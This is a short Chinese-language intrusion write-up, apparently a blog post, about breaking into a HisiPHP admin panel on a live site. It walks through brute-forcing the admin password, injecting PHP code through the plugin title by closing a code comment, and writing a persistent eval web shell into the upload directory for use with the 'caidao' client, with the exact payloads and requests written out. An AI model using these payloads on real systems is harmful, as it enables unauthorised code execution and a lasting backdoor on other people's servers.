漏洞过程

  1. 爆破账号密码,获取了管理员权限
  2. 这个是HisiPHP的后台,找到了相关漏洞复现
  3. 上传shell,用菜刀连接
  4. linux… 无后续

复现过程

爆破弱口令

登陆的时候有温馨提醒,如下这样

image.png-227kB

这就说明账号正确,但是密码不正确,那就跑admin账户的,然后经过测试发现密码是123456dcba

进后台getshell

1、打开系统 -> 插件

image.png-109.6kB

2、然后在插件标题处填写如下内容

image.png-176.6kB

aaa1*/@eval($_REQUEST[a]);/*

这里的原理是因为我们写的插件标题会在一个php文件里的注释里如我的插件标题为aaa1*/@eval($_REQUEST[a]);/*,就会在php文件里变成这样

1
...
2
/**
3
 * aaa*/@eval($_REQUEST[a]);/*插件
4
 * @package plugins\awd
5
 */
6
...

因为用*/把第一段注释给闭合了,然后用/*把后面的注释闭合了,导致绕过可以执行php代码

然后程序会自动返回插件地址在哪,然后直接打开带参数就可以执行php代码了

3、因为这里的执行代码在后台,是需要登录的,比较麻烦,然后我就在其他目录写了一个shell

首先获取绝对路径(把页面弄报错,thinkphp开启了debug的话都可以看目录)

1
/www/wwwroot/xxx.xxx.com/

然后访问如下写入一个shell

1
http://xxx.xxx.xxx/admin.php/plugins/awd/awd.php?a=file_put_contents('/www/wwwroot/xxx.xxx.com/public/upload/test.php','<?php @eval($_REQUEST[abc]);');

然后利用菜刀连接http://xxx.xxx.xxx/upload/test.php密码abc即可